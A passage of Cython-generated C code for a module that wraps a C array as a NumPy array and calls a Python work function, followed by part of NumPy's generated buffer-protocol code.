*__pyx_v_data_ptr, double *__pyx_v_answer_ptr) {\n  int __pyx_v_nd;\n  npy_intp *__pyx_v_dims;\n  int __pyx_v_typenum;\n  PyArrayObject *__pyx_v_data_np = 0;\n  double __pyx_v_sum;\n  npy_intp __pyx_t_1[2];\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  __Pyx_RefNannySetupContext(\"inner_work_2d\");\n\n  /* \"wrapper_inner.pyx\":42\n * cdef api void inner_work_2d(int num_x, int num_y, double* data_ptr, double* answer_ptr):\n * \n *     print('\\nHello from Cython inner_work_2d!')             # <<<<<<<<<<<<<<\n * \n *     # Convert input data into form useable by Python, with lots of help from Numpy.\n */\n  if (__Pyx_PrintOne(0, ((PyObject *)__pyx_kp_s_2)) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 42; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n\n  /* \"wrapper_inner.pyx\":45\n * \n *     # Convert input data into form useable by Python, with lots of help from Numpy.\n *     cdef int nd = 2             # <<<<<<<<<<<<<<\n *     cdef np.npy_intp* dims = [<np.npy_intp>num_x, <np.npy_intp>num_y]\n *     cdef int typenum = np.NPY_DOUBLE\n */\n  __pyx_v_nd = 2;\n\n  /* \"wrapper_inner.pyx\":46\n *     # Convert input data into form useable by Python, with lots of help from Numpy.\n *     cdef int nd = 2\n *     cdef np.npy_intp* dims = [<np.npy_intp>num_x, <np.npy_intp>num_y]             # <<<<<<<<<<<<<<\n *     cdef int typenum = np.NPY_DOUBLE\n * \n */\n  __pyx_t_1[0] = ((npy_intp)__pyx_v_num_x);\n  __pyx_t_1[1] = ((npy_intp)__pyx_v_num_y);\n  __pyx_v_dims = __pyx_t_1;\n\n  /* \"wrapper_inner.pyx\":47\n *     cdef int nd = 2\n *     cdef np.npy_intp* dims = [<np.npy_intp>num_x, <np.npy_intp>num_y]\n *     cdef int typenum = np.NPY_DOUBLE             # <<<<<<<<<<<<<<\n * \n *     cdef np.ndarray data_np = PyArray_SimpleNewFromData(nd, dims, typenum, <void*>data_ptr)\n */\n  __pyx_v_typenum = NPY_DOUBLE;\n\n  /* \"wrapper_inner.pyx\":49\n *     cdef int typenum = np.NPY_DOUBLE\n * \n *     cdef np.ndarray data_np = PyArray_SimpleNewFromData(nd, dims, typenum, <void*>data_ptr)             # <<<<<<<<<<<<<<\n * \n *     # Do the work.\n */\n  __pyx_t_2 = PyArray_SimpleNewFromData(__pyx_v_nd, __pyx_v_dims, __pyx_v_typenum, ((void *)__pyx_v_data_ptr)); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 49; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_2);\n  if (!(likely(((__pyx_t_2) == Py_None) || likely(__Pyx_TypeTest(__pyx_t_2, __pyx_ptype_5numpy_ndarray))))) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 49; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_v_data_np = ((PyArrayObject *)__pyx_t_2);\n  __pyx_t_2 = 0;\n\n  /* \"wrapper_inner.pyx\":52\n * \n *     # Do the work.\n *     cdef double sum = work_module.do_awesome_work(data_np)             # <<<<<<<<<<<<<<\n * \n *     # # Convert work results into a form useable by the calling C++ application.\n */\n  __pyx_t_2 = __Pyx_GetName(__pyx_m, __pyx_n_s__work_module); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 52; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_2);\n  __pyx_t_3 = PyObject_GetAttr(__pyx_t_2, __pyx_n_s__do_awesome_work); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 52; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_3);\n  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;\n  __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 52; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(((PyObject *)__pyx_t_2));\n  __Pyx_INCREF(((PyObject *)__pyx_v_data_np));\n  PyTuple_SET_ITEM(__pyx_t_2, 0, ((PyObject *)__pyx_v_data_np));\n  __Pyx_GIVEREF(((PyObject *)__pyx_v_data_np));\n  __pyx_t_4 = PyObject_Call(__pyx_t_3, ((PyObject *)__pyx_t_2), NULL); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 52; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_4);\n  __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n  __Pyx_DECREF(((PyObject *)__pyx_t_2)); __pyx_t_2 = 0;\n  __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_4); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 52; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;\n  __pyx_v_sum = __pyx_t_5;\n\n  /* \"wrapper_inner.pyx\":55\n * \n *     # # Convert work results into a form useable by the calling C++ application.\n *     answer_ptr[0] = sum             # <<<<<<<<<<<<<<\n * \n * \n */\n  (__pyx_v_answer_ptr[0]) = __pyx_v_sum;\n\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"wrapper_inner.inner_work_2d\");\n  __pyx_L0:;\n  __Pyx_XDECREF((PyObject *)__pyx_v_data_np);\n  __Pyx_RefNannyFinishContext();\n}\n\n/* \"wrapper_inner.pyx\":64\n * \n * \n * def pure_py_test():             # <<<<<<<<<<<<<<\n * \n *     print('\\nHello from a pure Python function inside the Cython module.')\n */\n\nstatic PyObject *__pyx_pf_13wrapper_inner_pure_py_test(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused); /*proto*/\nstatic PyMethodDef __pyx_mdef_13wrapper_inner_pure_py_test = {__Pyx_NAMESTR(\"pure_py_test\"), (PyCFunction)__pyx_pf_13wrapper_inner_pure_py_test, METH_NOARGS, __Pyx_DOCSTR(0)};\nstatic PyObject *__pyx_pf_13wrapper_inner_pure_py_test(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused) {\n  PyObject *__pyx_v_data;\n  PyObject *__pyx_r = NULL;\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  __Pyx_RefNannySetupContext(\"pure_py_test\");\n  __pyx_self = __pyx_self;\n  __pyx_v_data = Py_None; __Pyx_INCREF(Py_None);\n\n  /* \"wrapper_inner.pyx\":66\n * def pure_py_test():\n * \n *     print('\\nHello from a pure Python function inside the Cython module.')             # <<<<<<<<<<<<<<\n * \n *     data = np.ones(5)\n */\n  if (__Pyx_PrintOne(0, ((PyObject *)__pyx_kp_s_3)) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 66; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n\n  /* \"wrapper_inner.pyx\":68\n *     print('\\nHello from a pure Python function inside the Cython module.')\n * \n *     data = np.ones(5)             # <<<<<<<<<<<<<<\n *     work_module.do_awesome_work(data)\n */\n  __pyx_t_1 = __Pyx_GetName(__pyx_m, __pyx_n_s__np); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 68; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_t_2 = PyObject_GetAttr(__pyx_t_1, __pyx_n_s__ones); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 68; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_2);\n  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  __pyx_t_1 = PyObject_Call(__pyx_t_2, ((PyObject *)__pyx_k_tuple_4), NULL); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 68; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;\n  __Pyx_DECREF(__pyx_v_data);\n  __pyx_v_data = __pyx_t_1;\n  __pyx_t_1 = 0;\n\n  /* \"wrapper_inner.pyx\":69\n * \n *     data = np.ones(5)\n *     work_module.do_awesome_work(data)             # <<<<<<<<<<<<<<\n */\n  __pyx_t_1 = __Pyx_GetName(__pyx_m, __pyx_n_s__work_module); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 69; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_t_2 = PyObject_GetAttr(__pyx_t_1, __pyx_n_s__do_awesome_work); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 69; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_2);\n  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 69; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(((PyObject *)__pyx_t_1));\n  __Pyx_INCREF(__pyx_v_data);\n  PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_v_data);\n  __Pyx_GIVEREF(__pyx_v_data);\n  __pyx_t_3 = PyObject_Call(__pyx_t_2, ((PyObject *)__pyx_t_1), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 69; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_3);\n  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;\n  __Pyx_DECREF(((PyObject *)__pyx_t_1)); __pyx_t_1 = 0;\n  __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_AddTraceback(\"wrapper_inner.pure_py_test\");\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_DECREF(__pyx_v_data);\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"numpy.pxd\":188\n *         # experimental exception made for __getbuffer__ and __releasebuffer__\n *         # -- the details of this may change.\n *         def __getbuffer__(ndarray self, Py_buffer* info, int flags):             # <<<<<<<<<<<<<<\n *             # This implementation of getbuffer is geared towards Cython\n *             # requirements, and does not yet fullfill the PEP.\n */\n\nstatic CYTHON_UNUSED int __pyx_pf_5numpy_7ndarray___getbuffer__(PyObject *__pyx_v_self, Py_buffer *__pyx_v_info, int __pyx_v_flags); /*proto*/\nstatic CYTHON_UNUSED int __pyx_pf_5numpy_7ndarray___getbuffer__(PyObject *__pyx_v_self, Py_buffer *__pyx_v_info, int __pyx_v_flags) {\n  int __pyx_v_copy_shape;\n  int __pyx_v_i;\n  int __pyx_v_ndim;\n  int __pyx_v_endian_detector;\n  int __pyx_v_little_endian;\n  int __pyx_v_t;\n  char *__pyx_v_f;\n  PyArray_Descr *__pyx_v_descr = 0;\n  int __pyx_v_offset;\n  int __pyx_v_hasfields;\n  int __pyx_r;\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_t_2;\n  int __pyx_t_3;\n  int __pyx_t_4;\n  int __pyx_t_5;\n  int __pyx_t_6;\n  int __pyx_t_7;\n  PyObject *__pyx_t_8 = NULL;\n  char *__pyx_t_9;\n  __Pyx_RefNannySetupContext(\"__getbuffer__\");\n  if (__pyx_v_info == NULL) return 0;\n  __pyx_v_info->obj = Py_None; __Pyx_INCREF(Py_None);\n  __Pyx_GIVEREF(__pyx_v_info->obj);\n\n  /* \"numpy.pxd\":194\n *             # of flags\n *             cdef int copy_shape, i, ndim\n *             cdef int endian_detector = 1             # <<<<<<<<<<<<<<\n *             cdef bint little_endian = ((<char*>&endian_detector)[0] != 0)\n * \n */\n  __pyx_v_endian_detector = 1;\n\n  /* \"numpy.pxd\":195\n *             cdef int copy_shape, i, ndim\n *             cdef int endian_detector = 1\n *             cdef bint little_endian = ((<char*>&endian_detector)[0] != 0)             # <<<<<<<<<<<<<<\n * \n *             ndim = PyArray_NDIM(self)\n */\n  __pyx_v_little_endian = ((((char *)(&__pyx_v_endian_detector))[0]) != 0);\n\n  /* \"numpy.pxd\":197\n *             cdef bint little_endian = ((<char*>&endian_detector)[0] != 0)\n * \n *             ndim = PyArray_NDIM(self)             # <<<<<<<<<<<<<<\n * \n *             if sizeof(npy_intp) != sizeof(Py_ssize_t):\n */\n  __pyx_t_1 = __pyx_v_self;\n  __Pyx_INCREF(__pyx_t_1);\n  __pyx_v_ndim = PyArray_NDIM(((PyArrayObject *)__pyx_t_1));\n  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n\n  /* \"numpy.pxd\":199\n *             ndim = PyArray_NDIM(self)\n * \n *             if sizeof(npy_intp) != sizeof(Py_ssize_t):             # <<<<<<<<<<<<<<\n *                 copy_shape = 1\n *             else:\n */\n  __pyx_t_2 = ((sizeof(npy_intp)) != (sizeof(Py_ssize_t)));\n  if (__pyx_t_2) {\n\n    /* \"numpy.pxd\":200\n * \n *             if sizeof(npy_intp) != sizeof(Py_ssize_t):\n *                 copy_shape = 1             # <<<<<<<<<<<<<<\n *             else:\n *                 copy_shape = 0\n */\n    __pyx_v_copy_shape = 1;\n    goto __pyx_L5;\n  }\n  /*else*/ {\n\n    /* \"numpy.pxd\":202\n *                 copy_shape = 1\n *             else:\n *                 copy_shape = 0             # <<<<<<<<<<<<<<\n * \n *             if ((flags & pybuf.PyBUF_C_CONTIGUOUS == pybuf.PyBUF_C_CONTIGUOUS)\n */\n    __pyx_v_copy_shape = 0;\n  }\n  __pyx_L5:;\n\n  /* \"numpy.pxd\":204\n *                 copy_shape = 0\n * \n *             if ((flags & pybuf.PyBUF_C_CONTIGUOUS == pybuf.PyBUF_C_CONTIGUOUS)             # <<<<<<<<<<<<<<\n *                 and not PyArray_CHKFLAGS(self, NPY_C_CONTIGUOUS)):\n *                 raise ValueError(u\"ndarray is not C contiguous\")\n */\n  __pyx_t_2 = ((__pyx_v_flags & PyBUF_C_CONTIGUOUS) == PyBUF_C_CONTIGUOUS);\n  if (__pyx_t_2) {\n\n    /* \"numpy.pxd\":205\n * \n *             if ((flags & pybuf.PyBUF_C_CONTIGUOUS == pybuf.PyBUF_C_CONTIGUOUS)\n *                 and not PyArray_CHKFLAGS(self, NPY_C_CONTIGUOUS)):             # <<<<<<<<<<<<<<\n *                 raise ValueError(u\"ndarray is not C contiguous\")\n * \n */\n    __pyx_t_1 = __pyx_v_self;\n    __Pyx_INCREF(__pyx_t_1);\n    __pyx_t_3 = (!PyArray_CHKFLAGS(((PyArrayObject *)__pyx_t_1), NPY_C_CONTIGUOUS));\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n    __pyx_t_4 = __pyx_t_3;\n  } else {\n    __pyx_t_4 = __pyx_t_2;\n  }\n  if (__pyx_t_4) {\n\n    /* \"numpy.pxd\":206\n *             if ((flags & pybuf.PyBUF_C_CONTIGUOUS == pybuf.PyBUF_C_CONTIGUOUS)\n *                 and not PyArray_CHKFLAGS(self, NPY_C_CONTIGUOUS)):\n *                 raise ValueError(u\"ndarray is not C contiguous\")             # <<<<<<<<<<<<<<\n * \n *             if ((flags & pybuf.PyBUF_F_CONTIGUOUS == pybuf.PyBUF_F_CONTIGUOUS)\n */\n    __pyx_t_1 = PyObject_Call(__pyx_builtin_ValueError, ((PyObject *)__pyx_k_tuple_6), NULL); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 206; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    __Pyx_Raise(__pyx_t_1, 0, 0);\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n    {__pyx_filename = __pyx_f[1]; __pyx_lineno = 206; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    goto __pyx_L6;\n  }\n  __pyx_L6:;\n\n  /* \"numpy.pxd\":208\n *                 raise ValueError(u\"ndarray is not C contiguous\")\n * \n *             if ((flags & pybuf.PyBUF_F_CONTIGUOUS == pybuf.PyBUF_F_CONTIGUOUS)             # <<<<<<<<<<<<<<\n *                 and not PyArray_CHKFLAGS(self, NPY_F_CONTIGUOUS)):\n *                 raise ValueError(u\"ndarray is not Fortran contiguous\")\n */\n  __pyx_t_4 = ((__pyx_v_flags & PyBUF_F_CONTIGUOUS) == PyBUF_F_CONTIGUOUS);\n  if (__pyx_t_4) {\n\n    /* \"numpy.pxd\":209\n * \n *             if ((flags & pybuf.PyBUF_F_CONTIGUOUS == pybuf.PyBUF_F_CONTIGUOUS)\n *                 and not PyArray_CHKFLAGS(self, NPY_F_CONTIGUOUS)):             # <<<<<<<<<<<<<<\n *                 raise ValueError(u\"ndarray is not Fortran contiguous\")\n * \n */\n    __pyx_t_1 = __pyx_v_self;\n    __Pyx_INCREF(__pyx_t_1);\n    __pyx_t_2 = (!PyArray_CHKFLAGS(((PyArrayObject *)__pyx_t_1), NPY_F_CONTIGUOUS));\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n    __pyx_t_3 = __pyx_t_2;\n  } else {\n    __pyx_t_3 = __pyx_t_4;\n  }\n  if (__pyx_t_3) {\n\n    /* \"numpy.pxd\":210\n *             if ((flags & pybuf.PyBUF_F_CONTIGUOUS == pybuf.PyBUF_F_CONTIGUOUS)\n *                 and not PyArray_CHKFLAGS(self, NPY_F_CONTIGUOUS)):\n *                 raise ValueError(u\"ndarray is not Fortran contiguous\")             # <<<<<<<<<<<<<<\n * \n *             info.buf = PyArray_DATA(self)\n */\n    __pyx_t_1 = PyObject_Call(__pyx_builtin_ValueError, ((PyObject *)__pyx_k_tuple_8), NULL); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 210; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    __Pyx_Raise(__pyx_t_1, 0, 0);\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n    {__pyx_filename = __pyx_f[1]; __pyx_lineno = 210; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    goto __pyx_L7;\n  }\n  __pyx_L7:;\n\n  /* \"numpy.pxd\":212\n *                 raise ValueError(u\"ndarray is not Fortran contiguous\")\n * \n *             info.buf = PyArray_DATA(self)             # <<<<<<<<<<<<<<\n *             info.ndim = ndim\n *             if copy_shape:\n */\n  __pyx_t_1 = __pyx_v_self;\n  __Pyx_INCREF(__pyx_t_1);\n  __pyx_v_info->buf = PyArray_DATA(((PyArrayObject *)__pyx_t_1));\n  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n\n  /* \"numpy.pxd\":213\n * \n *             info.buf = PyArray_DATA(self)\n *             info.ndim = ndim             # <<<<<<<<<<<<<<\n *             if copy_shape:\n *                 # Allocate new buffer for strides and shape info. This is allocated\n */\n  __pyx_v_info->ndim = __pyx_v_ndim;\n\n  /* \"numpy.pxd\":214\n *             info.buf = PyArray_DATA(self)\n *             info.ndim = ndim\n *             if copy_shape:             # <<<<<<<<<<<<<<\n *                 # Allocate new buffer for strides and shape info. This is allocated\n *                 # as one block, strides first.\n */\n  if (__pyx_v_copy_shape) {\n\n    /* \"numpy.pxd\":217\n *                 # Allocate new buffer for strides and shape info. This is allocated\n *                 # as one block, strides first.\n *                 info.strides = <Py_ssize_t*>stdlib.malloc(sizeof(Py_ssize_t) * ndim * 2)             # <<<<<<<<<<<<<<\n *                 info.shape = info.strides + ndim\n *                 for i in range(ndim):\n */\n    __pyx_v_info->strides = ((Py_ssize_t *)malloc((((sizeof(Py_ssize_t)) * __pyx_v_ndim) * 2)));\n\n    /* \"numpy.pxd\":218\n *                 # as one block, strides first.\n *                 info.strides = <Py_ssize_t*>stdlib.malloc(sizeof(Py_ssize_t) * ndim * 2)\n *                 info.shape = info.strides + ndim             # <<<<<<<<<<<<<<\n *                 for i in range(ndim):\n *                     info.strides[i] = PyArray_STRIDES(self)[i]\n */\n    __pyx_v_info->shape = (__pyx_v_info->strides + __pyx_v_ndim);\n\n    /* \"numpy.pxd\":219\n *                 info.strides = <Py_ssize_t*>stdlib.malloc(sizeof(Py_ssize_t) * ndim * 2)\n *                 info.shape = info.strides + ndim\n *                 for i in range(ndim):             # <<<<<<<<<<<<<<\n *                     info.strides[i] = PyArray_STRIDES(self)[i]\n *                     info.shape[i] = PyArray_DIMS(self)[i]\n */\n    __pyx_t_5 = __pyx_v_ndim;\n    for (__pyx_t_6 = 0; __pyx_t_6 < __pyx_t_5; __pyx_t_6+=1) {\n      __pyx_v_i = __pyx_t_6;\n\n      /* \"numpy.pxd\":220\n *                 info.shape = info.strides + ndim\n *                 for i in range(ndim):\n *                     info.strides[i] = PyArray_STRIDES(self)[i]             # <<<<<<<<<<<<<<\n *                     info.shape[i] = PyArray_DIMS(self)[i]\n *             else:\n */\n      __pyx_t_1 = __pyx_v_self;\n      __Pyx_INCREF(__pyx_t_1);\n      (__pyx_v_info->strides[__pyx_v_i]) = (PyArray_STRIDES(((PyArrayObject *)__pyx_t_1))[__pyx_v_i]);\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n\n      /* \"numpy.pxd\":221\n *                 for i in range(ndim):\n *                     info.strides[i] = PyArray_STRIDES(self)[i]\n *                     info.shape[i] = PyArray_DIMS(self)[i]             # <<<<<<<<<<<<<<\n *             else:\n *                 info.strides = <Py_ssize_t*>PyArray_STRIDES(self)\n */\n      __pyx_t_1 = __pyx_v_self;\n      __Pyx_INCREF(__pyx_t_1);\n      (__pyx_v_info->shape[__pyx_v_i]) = (PyArray_DIMS(((PyArrayObject *)__pyx_t_1))[__pyx_v_i]);\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n    }\n    goto __pyx_L8;\n  }\n  /*else*/ {\n\n    /* \"numpy.pxd\":223\n *                     info.shape[i] = PyArray_DIMS(self)[i]\n *             else:\n *                 info.strides = <Py_ssize_t*>PyArray_STRIDES(self)             # <<<<<<<<<<<<<<\n *                 info.shape = <Py_ssize_t*>PyArray_DIMS(self)\n *             info.suboffsets = NULL\n */\n    __pyx_t_1 = __pyx_v_self;\n    __Pyx_INCREF(__pyx_t_1);\n    __pyx_v_info->strides = ((Py_ssize_t *)PyArray_STRIDES(((PyArrayObject *)__pyx_t_1)));\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n\n    /* \"numpy.pxd\":224\n *             else:\n *                 info.strides = <Py_ssize_t*>PyArray_STRIDES(self)\n *                 info.shape = <Py_ssize_t*>PyArray_DIMS(self)             # <<<<<<<<<<<<<<\n *             info.suboffsets = NULL\n *             info.itemsize = PyArray_ITEMSIZE(self)\n */\n    __pyx_t_1 = __pyx_v_self;\n    __Pyx_INCREF(__pyx_t_1);\n    __pyx_v_info->shape = ((Py_ssize_t *)PyArray_DIMS(((PyArrayObject *)__pyx_t_1)));\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  }\n  __pyx_L8:;\n\n  /* \"numpy.pxd\":225\n *                 info.strides = <Py_ssize_t*>PyArray_STRIDES(self)\n *                 info.shape = <Py_ssize_t*>PyArray_DIMS(self)\n *             info.suboffsets = NULL             # <<<<<<<<<<<<<<\n *             info.itemsize = PyArray_ITEMSIZE(self)\n *             info.readonly = not PyArray_ISWRITEABLE(self)\n */\n  __pyx_v_info->suboffsets = NULL;\n\n  /* \"numpy.pxd\":226\n *                 info.shape = <Py_ssize_t*>PyArray_DIMS(self)\n *             info.suboffsets = NULL\n *             info.itemsize = PyArray_ITEMSIZE(self)             # <<<<<<<<<<<<<<\n *             info.readonly = not PyArray_ISWRITEABLE(self)\n * \n */\n  __pyx_t_1 = __pyx_v_self;\n  __Pyx_INCREF(__pyx_t_1);\n  __pyx_v_info->itemsize = PyArray_ITEMSIZE(((PyArrayObject *)__pyx_t_1));\n  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n\n  /* \"numpy.pxd\":227\n *             info.suboffsets = NULL\n *             info.itemsize = PyArray_ITEMSIZE(self)\n *             info.readonly = not PyArray_ISWRITEABLE(self)             # <<<<<<<<<<<<<<\n * \n *             cdef int t\n */\n  __pyx_t_1 = __pyx_v_self;\n  __Pyx_INCREF(__pyx_t_1);\n  __pyx_v_info->readonly = (!PyArray_ISWRITEABLE(((PyArrayObject *)__pyx_t_1)));\n  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n\n  /* \"numpy.pxd\":230\n * \n *             cdef int t\n *             cdef char* f = NULL             # <<<<<<<<<<<<<<\n *             cdef dtype descr = self.descr\n *             cdef list stack\n */\n  __pyx_v_f = NULL;\n\n  /* \"numpy.pxd\":231\n *             cdef int t\n *             cdef char* f = NULL\n *             cdef dtype descr = self.descr             # <<<<<<<<<<<<<<\n *             cdef list stack\n *             cdef int offset\n */\n  __Pyx_INCREF(((PyObject *)((PyArrayObject *)__pyx_v_self)->descr));\n  __pyx_v_descr = ((PyArrayObject *)__pyx_v_self)->descr;\n\n  /* \"numpy.pxd\":235\n *             cdef int offset\n * \n *             cdef bint hasfields = PyDataType_HASFIELDS(descr)             # <<<<<<<<<<<<<<\n * \n *             if not hasfields and not copy_shape:\n */\n  __pyx_v_hasfields = PyDataType_HASFIELDS(__pyx_v_descr);\n\n  /* \"numpy.pxd\":237\n *             cdef bint hasfields = PyDataType_HASFIELDS(descr)\n * \n *             if not hasfields and not copy_shape:             # <<<<<<<<<<<<<<\n *                 # do not call releasebuffer\n *                 info.obj = None\n */\n  __pyx_t_3 = (!__pyx_v_hasfields);\n  if (__pyx_t_3) {\n    __pyx_t_4 = (!__pyx_v_copy_shape);\n    __pyx_t_2 = __pyx_t_4;\n  } else {\n    __pyx_t_2 = __pyx_t_3;\n  }\n  if (__pyx_t_2) {\n\n    /* \"numpy.pxd\":239\n *             if not hasfields and not copy_shape:\n *                 # do not call releasebuffer\n *                 info.obj = None             # <<<<<<<<<<<<<<\n *             else:\n *                 # need to call releasebuffer\n */\n    __Pyx_INCREF(Py_None);\n    __Pyx_GIVEREF(Py_None);\n    __Pyx_GOTREF(__pyx_v_info->obj);\n    __Pyx_DECREF(__pyx_v_info->obj);\n    __pyx_v_info->obj = Py_None;\n    goto __pyx_L11;\n  }\n  /*else*/ {\n\n    /* \"numpy.pxd\":242\n *             else:\n *                 # need to call releasebuffer\n *                 info.obj = self             # <<<<<<<<<<<<<<\n * \n *             if not hasfields:\n */\n    __Pyx_INCREF(__pyx_v_self);\n    __Pyx_GIVEREF(__pyx_v_self);\n    __Pyx_GOTREF(__pyx_v_info->obj);\n    __Pyx_DECREF(__pyx_v_info->obj);\n    __pyx_v_info->obj = __pyx_v_self;\n  }\n  __pyx_L11:;\n\n  /* \"numpy.pxd\":244\n *                 info.obj = self\n * \n *             if not hasfields:             # <<<<<<<<<<<<<<\n *                 t = descr.type_num\n *                 if ((descr.byteorder == '>' and little_endian) or\n */\n  __pyx_t_2 = (!__pyx_v_hasfields);\n  if (__pyx_t_2) {\n\n    /* \"numpy.pxd\":245\n * \n *             if not hasfields:\n *                 t = descr.type_num             # <<<<<<<<<<<<<<\n *                 if ((descr.byteorder == '>' and little_endian) or\n *                     (descr.byteorder == '<' and not little_endian)):\n */\n    __pyx_v_t = __pyx_v_descr->type_num;\n\n    /* \"numpy.pxd\":246\n *             if not hasfields:\n *                 t = descr.type_num\n *                 if ((descr.byteorder == '>' and little_endian) or             # <<<<<<<<<<<<<<\n *                     (descr.byteorder == '<' and not little_endian)):\n *                     raise ValueError(u\"Non-native byte order not supported\")\n */\n    __pyx_t_2 = (__pyx_v_descr->byteorder == '>');\n    if (__pyx_t_2) {\n      __pyx_t_3 = __pyx_v_little_endian;\n    } else {\n      __pyx_t_3 = __pyx_t_2;\n    }\n    if (!__pyx_t_3) {\n\n      /* \"numpy.pxd\":247\n *                 t = descr.type_num\n *                 if ((descr.byteorder == '>' and little_endian) or\n *                     (descr.byteorder == '<' and not little_endian)):             # <<<<<<<<<<<<<<\n *                     raise ValueError(u\"Non-native byte order not supported\")\n *                 if   t == NPY_BYTE:        f = \"b\"\n */\n      __pyx_t_2 = (__pyx_v_descr->byteorder == '<');\n      if (__pyx_t_2) {\n        __pyx_t_4 = (!__pyx_v_little_endian);\n        __pyx_t_7 = __pyx_t_4;\n      } else {\n        __pyx_t_7 = __pyx_t_2;\n      }\n      __pyx_t_2 = __pyx_t_7;\n    } else {\n      __pyx_t_2 = __pyx_t_3;\n    }\n    if (__pyx_t_2) {\n\n      /* \"numpy.pxd\":248\n *                 